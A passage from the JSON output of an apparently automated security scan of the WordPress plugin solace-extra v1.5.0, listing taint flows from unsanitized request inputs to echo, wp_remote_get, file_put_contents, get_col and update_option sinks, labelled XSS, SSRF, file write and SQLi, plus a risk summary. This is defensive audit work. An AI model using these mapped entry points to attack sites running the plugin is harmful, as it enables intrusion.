context":942},848,{"file":294,"line":1001,"context":942},890,{"file":294,"line":1003,"context":942},972,{"file":294,"line":1005,"context":942},1435,{"file":294,"line":438,"context":942},{"file":294,"line":1008,"context":942},2390,{"file":294,"line":1010,"context":942},2511,{"file":1012,"line":1013,"context":942},"admin\\partials\\submenu-dashboard.php",65,{"file":1012,"line":1015,"context":942},67,{"file":1012,"line":1017,"context":942},70,{"file":1012,"line":1019,"context":942},101,{"file":1012,"line":1021,"context":942},102,{"file":1012,"line":299,"context":942},{"file":1012,"line":1024,"context":942},106,{"file":1012,"line":307,"context":942},{"file":1012,"line":1027,"context":942},110,{"file":1029,"line":1030,"context":942},"admin\\partials\\submenu-dashboardsitebuilder.php",212,{"file":1029,"line":789,"context":942},{"file":1029,"line":823,"context":942},{"file":1029,"line":1034,"context":942},324,{"file":1029,"line":1036,"context":942},333,{"file":1029,"line":1038,"context":942},338,{"file":1029,"line":1040,"context":942},363,{"file":1029,"line":710,"context":942},{"file":1029,"line":1043,"context":942},555,{"file":1029,"line":1045,"context":942},558,{"file":1029,"line":1047,"context":942},561,{"file":1029,"line":1049,"context":942},581,{"file":1029,"line":1051,"context":942},582,{"file":1029,"line":1053,"context":942},583,{"file":1029,"line":1055,"context":942},590,{"file":1029,"line":1057,"context":942},591,{"file":1029,"line":1059,"context":942},637,{"file":1029,"line":1061,"context":942},639,{"file":1029,"line":728,"context":942},{"file":1029,"line":1064,"context":942},652,{"file":1029,"line":1066,"context":942},653,{"file":1029,"line":1068,"context":942},658,{"file":1029,"line":1070,"context":942},660,{"file":1029,"line":1072,"context":942},670,{"file":1029,"line":1074,"context":942},671,{"file":1029,"line":1076,"context":942},673,{"file":1029,"line":1078,"context":942},843,{"file":1029,"line":246,"context":942},{"file":1029,"line":1081,"context":942},845,{"file":1029,"line":1083,"context":942},847,{"file":1029,"line":999,"context":942},{"file":1029,"line":1086,"context":942},861,{"file":1029,"line":1088,"context":942},862,{"file":1029,"line":1090,"context":942},908,{"file":1029,"line":1092,"context":942},910,{"file":1094,"line":1095,"context":942},"admin\\partials\\submenu-dashboardstep5.php",28,{"file":1094,"line":1097,"context":942},47,{"file":1094,"line":741,"context":942},{"file":1094,"line":1100,"context":942},618,{"file":1094,"line":1102,"context":942},619,{"file":1094,"line":1104,"context":942},620,{"file":1094,"line":1106,"context":942},621,{"file":1094,"line":1108,"context":942},622,{"file":1094,"line":1110,"context":942},625,{"file":1094,"line":1112,"context":942},626,{"file":1094,"line":944,"context":942},{"file":1094,"line":1115,"context":942},628,{"file":1094,"line":1117,"context":942},629,{"file":1094,"line":1119,"context":942},630,{"file":1094,"line":1121,"context":942},631,{"file":1094,"line":1123,"context":942},632,{"file":1094,"line":726,"context":942},{"file":1094,"line":1126,"context":942},634,{"file":1094,"line":1128,"context":942},635,{"file":1094,"line":1130,"context":942},636,{"file":1094,"line":1132,"context":942},721,{"file":1094,"line":1134,"context":942},722,{"file":1094,"line":1136,"context":942},723,{"file":1094,"line":1138,"context":942},724,{"file":1094,"line":1140,"context":942},725,{"file":1094,"line":1142,"context":942},726,{"file":1094,"line":1144,"context":942},727,{"file":1094,"line":1146,"context":942},728,{"file":1094,"line":1148,"context":942},729,{"file":1094,"line":1150,"context":942},730,{"file":1094,"line":1152,"context":942},731,{"file":1094,"line":1154,"context":942},732,{"file":1094,"line":1156,"context":942},733,{"file":1158,"line":1159,"context":942},"admin\\partials\\submenu-starter.php",248,{"file":1161,"line":1162,"context":942},"admin\\starter-templates.php",230,{"file":336,"line":1164,"context":942},575,{"file":336,"line":1166,"context":942},602,{"file":336,"line":1168,"context":942},612,{"file":336,"line":1066,"context":942},{"file":336,"line":1171,"context":942},661,{"file":336,"line":1173,"context":942},672,{"file":336,"line":1175,"context":942},699,{"file":336,"line":1177,"context":942},702,{"file":336,"line":1179,"context":942},706,{"file":336,"line":1181,"context":942},714,{"file":336,"line":1183,"context":942},716,{"file":336,"line":1136,"context":942},{"file":336,"line":1186,"context":942},744,{"file":336,"line":1188,"context":942},748,{"file":336,"line":1190,"context":942},749,{"file":1192,"line":1193,"context":942},"elementor\\widgets\\widget\\archive-posts\\archive-posts.php",1457,{"file":1192,"line":1195,"context":942},1514,{"file":354,"line":1197,"context":942},2486,{"file":362,"line":1199,"context":942},1733,{"file":1201,"line":483,"context":942},"elementor\\widgets\\widget\\form-builder.php",{"file":1201,"line":1203,"context":942},1541,{"file":1205,"line":1206,"context":942},"elementor\\widgets\\widget\\my-account\\my-account.php",991,{"file":377,"line":1208,"context":942},1656,{"file":377,"line":1210,"context":942},1666,{"file":377,"line":1212,"context":942},1795,{"file":1214,"line":1215,"context":942},"elementor\\widgets\\widget\\navigation-menu\\navigation-menu.php",211,{"file":1217,"line":1218,"context":942},"elementor\\widgets\\widget\\post-author\\post-author.php",459,{"file":1220,"line":1221,"context":942},"elementor\\widgets\\widget\\post-breadcrumb\\post-breadcrumb.php",199,{"file":1220,"line":1223,"context":942},204,{"file":1225,"line":704,"context":942},"elementor\\widgets\\widget\\post-categories\\post-categories.php",{"file":397,"line":1227,"context":942},522,{"file":397,"line":899,"context":942},{"file":1230,"line":1066,"context":942},"elementor\\widgets\\widget\\post-featuredimage\\featuredimage.php",{"file":1230,"line":1070,"context":942},{"file":1230,"line":1233,"context":942},664,{"file":1230,"line":1154,"context":942},{"file":1230,"line":1236,"context":942},741,{"file":1230,"line":1238,"context":942},745,{"file":1240,"line":1241,"context":942},"elementor\\widgets\\widget\\post-navigation\\post-navigation.php",454,{"file":1240,"line":1243,"context":942},491,{"file":1245,"line":1246,"context":942},"elementor\\widgets\\widget\\post-relatedpost\\post-relatedpost.php",865,{"file":1248,"line":765,"context":942},"elementor\\widgets\\widget\\post-tags\\post-tags.php",{"file":1248,"line":1030,"context":942},{"file":402,"line":1251,"context":942},1728,{"file":402,"line":1253,"context":942},1748,{"file":1255,"line":341,"context":942},"elementor\\widgets\\widget\\shop\\addtocart.php",{"file":1255,"line":653,"context":942},{"file":1255,"line":1258,"context":942},371,{"file":416,"line":1260,"context":942},2019,{"file":416,"line":1262,"context":942},2020,{"file":416,"line":1264,"context":942},2021,{"file":416,"line":1266,"context":942},2022,{"file":416,"line":1268,"context":942},2028,{"file":416,"line":1270,"context":942},2035,{"file":416,"line":1272,"context":942},2036,{"file":416,"line":1274,"context":942},2039,{"file":416,"line":1276,"context":942},2043,{"file":416,"line":1278,"context":942},2047,{"file":416,"line":1280,"context":942},2055,{"file":416,"line":1282,"context":942},2056,{"file":416,"line":1284,"context":942},2057,{"file":416,"line":1286,"context":942},2060,{"file":416,"line":1288,"context":942},2069,{"file":416,"line":1290,"context":942},2073,{"file":416,"line":1292,"context":942},2078,{"file":416,"line":1294,"context":942},2085,{"file":416,"line":1296,"context":942},2140,{"file":416,"line":1298,"context":942},2507,{"file":416,"line":1300,"context":942},2560,{"file":416,"line":1302,"context":942},2571,{"file":416,"line":1304,"context":942},2576,{"file":416,"line":1306,"context":942},2619,{"file":416,"line":1308,"context":942},2622,{"file":416,"line":1310,"context":942},2625,{"file":416,"line":1312,"context":942},2643,{"file":416,"line":1314,"context":942},2696,{"file":416,"line":1316,"context":942},2697,{"file":416,"line":1318,"context":942},2711,{"file":416,"line":1320,"context":942},2722,{"file":416,"line":1322,"context":942},2727,{"file":416,"line":1324,"context":942},2763,{"file":416,"line":1326,"context":942},2766,{"file":416,"line":1328,"context":942},2769,{"file":416,"line":1330,"context":942},2787,{"file":416,"line":1332,"context":942},2838,{"file":416,"line":1334,"context":942},2849,{"file":416,"line":1336,"context":942},2854,{"file":416,"line":1338,"context":942},2890,{"file":416,"line":1340,"context":942},2893,{"file":416,"line":1342,"context":942},2896,{"file":416,"line":1344,"context":942},2914,{"file":416,"line":1346,"context":942},3116,{"file":416,"line":1348,"context":942},3120,{"file":416,"line":1350,"context":942},3124,{"file":472,"line":1352,"context":942},1640,{"file":472,"line":1354,"context":942},1648,{"file":472,"line":403,"context":942},{"file":472,"line":1357,"context":942},1764,{"file":472,"line":1359,"context":942},1978,{"file":472,"line":1361,"context":942},1991,{"file":472,"line":1260,"context":942},{"file":472,"line":1364,"context":942},2097,{"file":472,"line":1366,"context":942},2315,{"file":472,"line":1368,"context":942},2320,{"file":472,"line":1370,"context":942},2325,{"file":472,"line":1372,"context":942},2346,{"file":472,"line":1374,"context":942},2424,{"file":1376,"line":1377,"context":942},"elementor\\widgets\\widget\\shop\\minicart.php",1269,{"file":1376,"line":1379,"context":942},1276,{"file":1376,"line":1381,"context":942},1298,{"file":1376,"line":1383,"context":942},1301,{"file":1376,"line":1385,"context":942},1305,{"file":1376,"line":1387,"context":942},1313,{"file":1376,"line":1389,"context":942},1315,{"file":1376,"line":1391,"context":942},1334,{"file":1376,"line":1393,"context":942},1357,{"file":1376,"line":1395,"context":942},1366,{"file":1376,"line":1397,"context":942},1367,{"file":1376,"line":1399,"context":942},1442,{"file":1376,"line":1401,"context":942},1474,{"file":1376,"line":1403,"context":942},1481,{"file":527,"line":1405,"context":942},1198,{"file":527,"line":1407,"context":942},1389,{"file":527,"line":1409,"context":942},1428,{"file":527,"line":1411,"context":942},1623,{"file":527,"line":1413,"context":942},1662,{"file":1415,"line":1416,"context":942},"elementor\\widgets\\widget\\shop\\product-addtocart.php",383,{"file":1415,"line":1418,"context":942},538,{"file":1415,"line":1420,"context":942},596,{"file":1422,"line":1423,"context":942},"elementor\\widgets\\widget\\shop\\producttab.php",1032,{"file":1422,"line":1425,"context":942},1048,{"file":1422,"line":1427,"context":942},1081,{"file":1422,"line":1429,"context":942},1084,{"file":1422,"line":1431,"context":942},1101,{"file":1422,"line":1433,"context":942},1122,{"file":1422,"line":1435,"context":942},1154,{"file":531,"line":1437,"context":942},1073,{"file":531,"line":1439,"context":942},1089,{"file":531,"line":1441,"context":942},1095,{"file":531,"line":1443,"context":942},1099,{"file":531,"line":1445,"context":942},1104,{"file":531,"line":1447,"context":942},1113,{"file":531,"line":1449,"context":942},1118,{"file":1451,"line":1203,"context":942},"elementor\\widgets\\widget\\shop\\shop.php",{"file":1451,"line":1453,"context":942},1762,{"file":1451,"line":1455,"context":942},1830,{"file":1451,"line":1457,"context":942},1869,{"file":1451,"line":1459,"context":942},1901,{"file":1461,"line":1462,"context":942},"elementor\\widgets\\widget\\social-share\\social-share.php",335,{"file":1464,"line":631,"context":942},"elementor\\widgets\\woocommerce\\product-additional-information\\product-additional-information.php",{"file":540,"line":1466,"context":942},227,{"file":1468,"line":1469,"context":942},"elementor\\widgets\\woocommerce\\product-categories\\product-categories.php",268,{"file":1468,"line":639,"context":942},{"file":1468,"line":873,"context":942},{"file":1473,"line":1474,"context":942},"elementor\\widgets\\woocommerce\\product-long-description\\product-long-description.php",168,{"file":1476,"line":713,"context":942},"elementor\\widgets\\woocommerce\\product-meta\\product-meta.php",{"file":1476,"line":1478,"context":942},448,{"file":1480,"line":569,"context":942},"elementor\\widgets\\woocommerce\\product-price\\product-price.php",{"file":1482,"line":1483,"context":942},"elementor\\widgets\\woocommerce\\product-rating\\product-rating.php",156,{"file":1485,"line":1486,"context":942},"elementor\\widgets\\woocommerce\\product-stock\\product-stock.php",153,{"file":1485,"line":1488,"context":942},232,{"file":1490,"line":1030,"context":942},"elementor\\widgets\\woocommerce\\product-tags\\product-tags.php",{"file":1490,"line":1492,"context":942},215,{"file":1494,"line":563,"context":942},"elementor\\widgets\\woocommerce\\product-title\\product-title.php",{"file":1494,"line":567,"context":942},{"file":659,"line":1497,"context":942},380,{"file":659,"line":1499,"context":942},431,{"file":659,"line":1501,"context":942},473,{"file":659,"line":1503,"context":942},503,{"file":659,"line":1505,"context":942},529,{"file":659,"line":1043,"context":942},{"file":659,"line":1049,"context":942},{"file":659,"line":1509,"context":942},607,{"file":659,"line":726,"context":942},{"file":659,"line":903,"context":942},{"file":659,"line":1513,"context":942},685,{"file":659,"line":1515,"context":942},711,{"file":659,"line":1517,"context":942},737,{"file":659,"line":1519,"context":942},763,{"file":659,"line":1521,"context":942},789,{"file":659,"line":1523,"context":942},815,{"file":659,"line":1525,"context":942},984,{"file":659,"line":1527,"context":942},1025,{"file":659,"line":1529,"context":942},1055,{"file":659,"line":1531,"context":942},1082,{"file":659,"line":1533,"context":942},1109,{"file":659,"line":1535,"context":942},1136,{"file":659,"line":1537,"context":942},1163,{"file":659,"line":1539,"context":942},1190,{"file":659,"line":1541,"context":942},1217,{"file":659,"line":1543,"context":942},1244,{"file":659,"line":924,"context":942},{"file":659,"line":1381,"context":942},{"file":659,"line":1547,"context":942},1326,{"file":659,"line":1549,"context":942},1353,{"file":659,"line":1551,"context":942},1379,{"file":659,"line":1553,"context":942},1405,{"file":659,"line":1555,"context":942},1834,{"file":659,"line":1557,"context":942},1856,{"file":659,"line":1559,"context":942},1878,{"file":659,"line":525,"context":942},{"file":659,"line":1562,"context":942},1909,{"file":659,"line":1564,"context":942},2533,{"file":659,"line":1566,"context":942},2540,36,42,[],[1571,1587,1596,1605,1614,1669,1680,1689,1698,1710,1720,1728,1737,1747,1757,1771,1783,1792,1802,1812,1822,1831,1840,1849,1857,1865,1874,1882],{"entryPoint":1572,"graph":1573,"unsanitizedCount":46,"severity":39},"handle_preview_single_product (admin\\class-solace-extra-admin.php:1551)",{"nodes":1574,"edges":1585},[1575,1580],{"id":1576,"type":1577,"label":1578,"file":241,"line":1579},"n0","source","$_GET",1556,{"id":1581,"type":1582,"label":1583,"file":241,"line":950,"wp_function":1584},"n1","sink","echo() [XSS]","echo",[1586],{"from":1576,"to":1581,"sanitized":57},{"entryPoint":1588,"graph":1589,"unsanitizedCount":46,"severity":39},"handle_preview_purchase_summary (admin\\class-solace-extra-admin.php:1623)",{"nodes":1590,"edges":1594},[1591,1593],{"id":1576,"type":1577,"label":1578,"file":241,"line":1592},1628,{"id":1581,"type":1582,"label":1583,"file":241,"line":952,"wp_function":1584},[1595],{"from":1576,"to":1581,"sanitized":57},{"entryPoint":1597,"graph":1598,"unsanitizedCount":46,"severity":39},"handle_preview_single_post (admin\\class-solace-extra-admin.php:1689)",{"nodes":1599,"edges":1603},[1600,1602],{"id":1576,"type":1577,"label":1578,"file":241,"line":1601},1694,{"id":1581,"type":1582,"label":1583,"file":241,"line":672,"wp_function":1584},[1604],{"from":1576,"to":1581,"sanitized":57},{"entryPoint":1606,"graph":1607,"unsanitizedCount":46,"severity":39},"handle_preview_404 (admin\\class-solace-extra-admin.php:1760)",{"nodes":1608,"edges":1612},[1609,1611],{"id":1576,"type":1577,"label":1578,"file":241,"line":1610},1765,{"id":1581,"type":1582,"label":1583,"file":241,"line":955,"wp_function":1584},[1613],{"from":1576,"to":1581,"sanitized":57},{"entryPoint":1615,"graph":1616,"unsanitizedCount":46,"severity":39},"call_ajax_import_customizer (admin\\import.php:491)",{"nodes":1617,"edges":1660},[1618,1621,1625,1628,1632,1635,1639,1642,1645,1648,1651,1653,1656],{"id":1576,"type":1577,"label":1619,"file":294,"line":1620},"$_POST (x4)",509,{"id":1581,"type":1582,"label":1622,"file":294,"line":1623,"wp_function":1624},"wp_remote_get() [SSRF]",518,"wp_remote_get",{"id":1626,"type":1577,"label":1627,"file":294,"line":1620},"n2","$_POST (x2)",{"id":1629,"type":1582,"label":1630,"file":294,"line":1509,"wp_function":1631},"n3","file_put_contents() [File Write]","file_put_contents",{"id":1633,"type":1577,"label":1634,"file":294,"line":1049},"n4","$_POST",{"id":1636,"type":1637,"label":1638,"file":294,"line":1049},"n5","transform","→ download_and_update_logo_logo_from_live_url()",{"id":1640,"type":1582,"label":1622,"file":294,"line":1641,"wp_function":1624},"n6",719,{"id":1643,"type":1577,"label":1634,"file":294,"line":1644},"n7",584,{"id":1646,"type":1637,"label":1647,"file":294,"line":1644},"n8","→ download_and_update_logo_footer_logo_from_live_url()",{"id":1649,"type":1582,"label":1622,"file":294,"line":1650,"wp_function":1624},"n9",790,{"id":1652,"type":1577,"label":1634,"file":294,"line":1102},"n10",{"id":1654,"type":1637,"label":1655,"file":294,"line":1102},"n11","→ update_sitebuilder_images_from_api()",{"id":1657,"type":1582,"label":1622,"file":1658,"line":1659,"wp_function":1624},"n12","admin\\class-solace-extra-sitebuilder-images.php",605,[1661,1662,1663,1664,1665,1666,1667,1668],{"from":1576,"to":1581,"sanitized":739},{"from":1626,"to":1629,"sanitized":739},{"from":1633,"to":1636,"sanitized":57},{"from":1636,"to":1640,"sanitized":739},{"from":1643,"to":1646,"sanitized":57},{"from":1646,"to":1649,"sanitized":739},{"from":1652,"to":1654,"sanitized":57},{"from":1654,"to":1657,"sanitized":57},{"entryPoint":1670,"graph":1671,"unsanitizedCount":46,"severity":39},"render (elementor\\widgets\\woocommerce\\product-gallery\\product-gallery.php:744)",{"nodes":1672,"edges":1678},[1673,1676],{"id":1576,"type":1577,"label":1578,"file":1674,"line":1675},"elementor\\widgets\\woocommerce\\product-gallery\\product-gallery.php",755,{"id":1581,"type":1582,"label":1583,"file":1674,"line":1677,"wp_function":1584},761,[1679],{"from":1576,"to":1581,"sanitized":57},{"entryPoint":1681,"graph":1682,"unsanitizedCount":46,"severity":39},"solace_get_elementor_content_via_ajax (sitebuilder\\sitebuilder.php:2471)",{"nodes":1683,"edges":1687},[1684,1686],{"id":1576,"type":1577,"label":1578,"file":659,"line":1685},2478,{"id":1581,"type":1582,"label":1583,"file":659,"line":1564,"wp_function":1584},[1688],{"from":1576,"to":1581,"sanitized":57},{"entryPoint":1690,"graph":1691,"unsanitizedCount":13,"severity":1697},"get_required_plugin (admin\\class-solace-extra-admin.php:1292)",{"nodes":1692,"edges":1695},[1693,1694],{"id":1576,"type":1577,"label":1578,"file":241,"line":1385},{"id":1581,"type":1582,"label":1622,"file":241,"line":1389,"wp_function":1624},[1696],{"from":1576,"to":1581,"sanitized":739},"low",{"entryPoint":1699,"graph":1700,"unsanitizedCount":13,"severity":1697},"\u003Cclass-solace-extra-admin> (admin\\class-solace-extra-admin.php:0)",{"nodes":1701,"edges":1707},[1702,1703,1704,1706],{"id":1576,"type":1577,"label":1578,"file":241,"line":1385},{"id":1581,"type":1582,"label":1622,"file":241,"line":1389,"wp_function":1624},{"id":1626,"type":1577,"label":1705,"file":241,"line":1385},"$_GET (x5)",{"id":1629,"type":1582,"label":1583,"file":241,"line":948,"wp_function":1584},[1708,1709],{"from":1576,"to":1581,"sanitized":739},{"from":1626,"to":1629,"sanitized":739},{"entryPoint":1711,"graph":1712,"unsanitizedCount":13,"severity":1697},"render (admin\\dynamic-tags\\inc\\request-parameter.php:38)",{"nodes":1713,"edges":1718},[1714,1717],{"id":1576,"type":1577,"label":1578,"file":1715,"line":1716},"admin\\dynamic-tags\\inc\\request-parameter.php",64,{"id":1581,"type":1582,"label":1583,"file":1715,"line":1017,"wp_function":1584},[1719],{"from":1576,"to":1581,"sanitized":739},{"entryPoint":1721,"graph":1722,"unsanitizedCount":13,"severity":1697},"\u003Crequest-parameter> (admin\\dynamic-tags\\inc\\request-parameter.php:0)",{"nodes":1723,"edges":1726},[1724,1725],{"id":1576,"type":1577,"label":1578,"file":1715,"line":1716},{"id":1581,"type":1582,"label":1583,"file":1715,"line":1017,"wp_function":1584},[1727],{"from":1576,"to":1581,"sanitized":739},{"entryPoint":1729,"graph":1730,"unsanitizedCount":13,"severity":1697},"call_ajax_import_widget (admin\\import.php:885)",{"nodes":1731,"edges":1735},[1732,1734],{"id":1576,"type":1577,"label":1634,"file":294,"line":1733},900,{"id":1581,"type":1582,"label":1622,"file":294,"line":1090,"wp_function":1624},[1736],{"from":1576,"to":1581,"sanitized":739},{"entryPoint":1738,"graph":1739,"unsanitizedCount":13,"severity":1697},"install_and_activate_plugins (admin\\import.php:2268)",{"nodes":1740,"edges":1745},[1741,1743],{"id":1576,"type":1577,"label":1627,"file":294,"line":1742},2280,{"id":1581,"type":1582,"label":1622,"file":294,"line":1744,"wp_function":1624},2286,[1746],{"from":1576,"to":1581,"sanitized":739},{"entryPoint":1748,"graph":1749,"unsanitizedCount":13,"severity":1697},"call_ajax_import_menu (admin\\import.php:2505)",{"nodes":1750,"edges":1755},[1751,1753],{"id":1576,"type":1577,"label":1634,"file":294,"line":1752},2521,{"id":1581,"type":1582,"label":1622,"file":294,"line":1754,"wp_function":1624},2525,[1756],{"from":1576,"to":1581,"sanitized":739},{"entryPoint":1758,"graph":1759,"unsanitizedCount":58,"severity":1697},"\u003Csubmenu-dashboardsitebuilder> (admin\\partials\\submenu-dashboardsitebuilder.php:0)",{"nodes":1760,"edges":1768},[1761,1763,1765,1767],{"id":1576,"type":1577,"label":1762,"file":1029,"line":329},"$_GET (x10)",{"id":1581,"type":1582,"label":1583,"file":1029,"line":1764,"wp_function":1584},155,{"id":1626,"type":1577,"label":1766,"file":1029,"line":329},"$_GET (x3)",{"id":1629,"type":1582,"label":1583,"file":1029,"line":789,"wp_function":1584},[1769,1770],{"from":1576,"to":1581,"sanitized":739},{"from":1626,"to":1629,"sanitized":57},{"entryPoint":1772,"graph":1773,"unsanitizedCount":13,"severity":1697},"\u003Csubmenu-dashboardstep5> (admin\\partials\\submenu-dashboardstep5.php:0)",{"nodes":1774,"edges":1780},[1775,1776,1777,1778],{"id":1576,"type":1577,"label":1578,"file":1094,"line":290},{"id":1581,"type":1582,"label":1622,"file":1094,"line":126,"wp_function":1624},{"id":1626,"type":1577,"label":1578,"file":1094,"line":290},{"id":1629,"type":1582,"label":1583,"file":1094,"line":1779,"wp_function":1584},513,[1781,1782],{"from":1576,"to":1581,"sanitized":739},{"from":1626,"to":1629,"sanitized":739},{"entryPoint":1784,"graph":1785,"unsanitizedCount":13,"severity":1697},"\u003Csubmenu-starter> (admin\\partials\\submenu-starter.php:0)",{"nodes":1786,"edges":1790},[1787,1789],{"id":1576,"type":1577,"label":1788,"file":1158,"line":1474},"$_COOKIE",{"id":1581,"type":1582,"label":1583,"file":1158,"line":752,"wp_function":1584},[1791],{"from":1576,"to":1581,"sanitized":739},{"entryPoint":1793,"graph":1794,"unsanitizedCount":13,"severity":1697},"action_ajax_search_server (admin\\starter-templates.php:331)",{"nodes":1795,"edges":1800},[1796,1798],{"id":1576,"type":1577,"label":1634,"file":1161,"line":1797},339,{"id":1581,"type":1582,"label":1583,"file":1161,"line":1799,"wp_function":1584},377,[1801],{"from":1576,"to":1581,"sanitized":739},{"entryPoint":1803,"graph":1804,"unsanitizedCount":13,"severity":1697},"action_ajax_checkbox (admin\\starter-templates.php:388)",{"nodes":1805,"edges":1810},[1806,1808],{"id":1576,"type":1577,"label":1634,"file":1161,"line":1807},395,{"id":1581,"type":1582,"label":1583,"file":1161,"line":1809,"wp_function":1584},435,[1811],{"from":1576,"to":1581,"sanitized":739},{"entryPoint":1813,"graph":1814,"unsanitizedCount":13,"severity":1697},"call_ajax_load_more (admin\\starter-templates.php:446)",{"nodes":1815,"edges":1820},[1816,1818],{"id":1576,"type":1577,"label":1634,"file":1161,"line":1817},453,{"id":1581,"type":1582,"label":1583,"file":1161,"line":1819,"wp_function":1584},498,[1821],{"from":1576,"to":1581,"sanitized":739},{"entryPoint":1823,"graph":1824,"unsanitizedCount":13,"severity":1697},"\u003Cstarter-templates> (admin\\starter-templates.php:0)",{"nodes":1825,"edges":1829},[1826,1828],{"id":1576,"type":1577,"label":1827,"file":1161,"line":1797},"$_POST (x3)",{"id":1581,"type":1582,"label":1583,"file":1161,"line":1799,"wp_function":1584},[1830],{"from":1576,"to":1581,"sanitized":739},{"entryPoint":1832,"graph":1833,"unsanitizedCount":13,"severity":1697},"\u003Cfunctions> (elementor\\widgets\\functions.php:0)",{"nodes":1834,"edges":1838},[1835,1837],{"id":1576,"type":1577,"label":1634,"file":336,"line":1836},317,{"id":1581,"type":1582,"label":1583,"file":336,"line":1136,"wp_function":1584},[1839],{"from":1576,"to":1581,"sanitized":739},{"entryPoint":1841,"graph":1842,"unsanitizedCount":46,"severity":1697},"\u003Cproduct-categories> (elementor\\widgets\\woocommerce\\product-categories\\product-categories.php:0)",{"nodes":1843,"edges":1847},[1844,1845],{"id":1576,"type":1577,"label":1634,"file":1468,"line":615},{"id":1581,"type":1582,"label":1583,"file":1468,"line":1846,"wp_function":1584},312,[1848],{"from":1576,"to":1581,"sanitized":57},{"entryPoint":1850,"graph":1851,"unsanitizedCount":46,"severity":1697},"\u003Cproduct-gallery> (elementor\\widgets\\woocommerce\\product-gallery\\product-gallery.php:0)",{"nodes":1852,"edges":1855},[1853,1854],{"id":1576,"type":1577,"label":1578,"file":1674,"line":1675},{"id":1581,"type":1582,"label":1583,"file":1674,"line":1677,"wp_function":1584},[1856],{"from":1576,"to":1581,"sanitized":57},{"entryPoint":1858,"graph":1859,"unsanitizedCount":13,"severity":1697},"\u003Csitebuilder> (sitebuilder\\sitebuilder.php:0)",{"nodes":1860,"edges":1863},[1861,1862],{"id":1576,"type":1577,"label":1578,"file":659,"line":1685},{"id":1581,"type":1582,"label":1583,"file":659,"line":1564,"wp_function":1584},[1864],{"from":1576,"to":1581,"sanitized":739},{"entryPoint":1866,"graph":1867,"unsanitizedCount":13,"severity":1697},"solace_extra_handle_logo_upload (solace-extra.php:288)",{"nodes":1868,"edges":1872},[1869,1871],{"id":1576,"type":1577,"label":1634,"file":694,"line":1870},300,{"id":1581,"type":1582,"label":1622,"file":694,"line":798,"wp_function":1624},[1873],{"from":1576,"to":1581,"sanitized":739},{"entryPoint":1875,"graph":1876,"unsanitizedCount":13,"severity":1697},"\u003Csolace-extra> (solace-extra.php:0)",{"nodes":1877,"edges":1880},[1878,1879],{"id":1576,"type":1577,"label":1634,"file":694,"line":1870},{"id":1581,"type":1582,"label":1622,"file":694,"line":798,"wp_function":1624},[1881],{"from":1576,"to":1581,"sanitized":739},{"entryPoint":1883,"graph":1884,"unsanitizedCount":225,"severity":101},"\u003Cimport> (admin\\import.php:0)",{"nodes":1885,"edges":1927},[1886,1888,1889,1891,1892,1893,1894,1896,1899,1900,1904,1905,1906,1907,1909,1911,1913,1915,1917,1919,1922,1925],{"id":1576,"type":1577,"label":1887,"file":294,"line":879},"$_POST (x7)",{"id":1581,"type":1582,"label":1583,"file":294,"line":995,"wp_function":1584},{"id":1626,"type":1577,"label":1890,"file":294,"line":1620},"$_POST (x9)",{"id":1629,"type":1582,"label":1622,"file":294,"line":1623,"wp_function":1624},{"id":1633,"type":1577,"label":1627,"file":294,"line":1620},{"id":1636,"type":1582,"label":1630,"file":294,"line":1509,"wp_function":1631},{"id":1640,"type":1577,"label":1634,"file":294,"line":1895},2455,{"id":1643,"type":1582,"label":1897,"file":294,"line":1685,"wp_function":1898},"get_col() [SQLi]","get_col",{"id":1646,"type":1577,"label":1627,"file":294,"line":1742},{"id":1649,"type":1582,"label":1901,"file":294,"line":1902,"wp_function":1903},"update_option() [Settings Manipulation]",2834,"update_option",{"id":1652,"type":1577,"label":1634,"file":294,"line":1049},{"id":1654,"type":1637,"label":1638,"file":294,"line":1049},{"id":1657,"type":1582,"label":1622,"file":294,"line":1641,"wp_function":1624},{"id":1908,"type":1577,"label":1634,"file":294,"line":1644},"n13",{"id":1910,"type":1637,"label":1647,"file":294,"line":1644},"n14",{"id":1912,"type":1582,"label":1622,"file":294,"line":1650,"wp_function":1624},"n15",{"id":1914,"type":1577,"label":1634,"file":294,"line":1102},"n16",{"id":1916,"type":1637,"label":1655,"file":294,"line":1102},"n17",{"id":1918,"type":1582,"label":1622,"file":1658,"line":1659,"wp_function":1624},"n18",{"id":1920,"type":1577,"label":1827,"file":294,"line":1921},"n19",2790,{"id":1923,"type":1637,"label":1924,"file":294,"line":1921},"n20","→ get_unique_posts_by_title()",{"id":1926,"type":1582,"label":1897,"file":294,"line":1685,"wp_function":1898},"n21",[1928,1929,1930,1931,1932,1933,1934,1935,1936,1937,1938,1939,1940],{"from":1576,"to":1581,"sanitized":739},{"from":1626,"to":1629,"sanitized":739},{"from":1633,"to":1636,"sanitized":739},{"from":1640,"to":1643,"sanitized":739},{"from":1646,"to":1649,"sanitized":739},{"from":1652,"to":1654,"sanitized":57},{"from":1654,"to":1657,"sanitized":739},{"from":1908,"to":1910,"sanitized":57},{"from":1910,"to":1912,"sanitized":739},{"from":1914,"to":1916,"sanitized":57},{"from":1916,"to":1918,"sanitized":57},{"from":1920,"to":1923,"sanitized":57},{"from":1923,"to":1926,"sanitized":57},{"summary":1942,"deductions":1943},"The \"solace-extra\" plugin v1.5.0 exhibits a concerning security posture due to a significant number of unprotected AJAX handlers and a history of critical and high-severity vulnerabilities, including SSRF and unrestricted file uploads. While the plugin demonstrates some good practices such as a high percentage of prepared SQL statements and proper output escaping, these strengths are overshadowed by the numerous entry points that lack authentication. The presence of the `unserialize` function, although not directly flagged as a critical taint flow, remains a potential risk if user-controlled data is passed to it without proper validation. The historical vulnerability pattern suggests recurring issues with input validation and authorization, which attackers could potentially exploit again.\n\nOverall, the plugin presents a moderate to high risk. The large attack surface of unprotected AJAX endpoints is a primary concern, as it provides numerous avenues for unauthorized actions. The past vulnerability types indicate a need for robust input sanitization and file handling mechanisms. While the absence of currently unpatched CVEs is positive, the plugin's history warrants extreme caution and thorough security auditing before deployment in any sensitive environment. Users should be aware that despite some positive coding practices, the fundamental security flaws, particularly in authentication and input validation, create substantial risks.",[1944,1946,1948,1950,1952,1955,1957,1959],{"reason":1945,"points":268},"Large attack surface without auth checks",{"reason":1947,"points":268},"Unprotected AJAX handlers",{"reason":1949,"points":369},"Vulnerability history: High severity CVEs",{"reason":1951,"points":268},"Vulnerability history: Medium severity CVEs",{"reason":1953,"points":1954},"High severity taint flow found",12,{"reason":1956,"points":81},"Flows with unsanitized paths",{"reason":1958,"points":26},"Dangerous function: unserialize",{"reason":1960,"points":26},"SQL queries without prepared 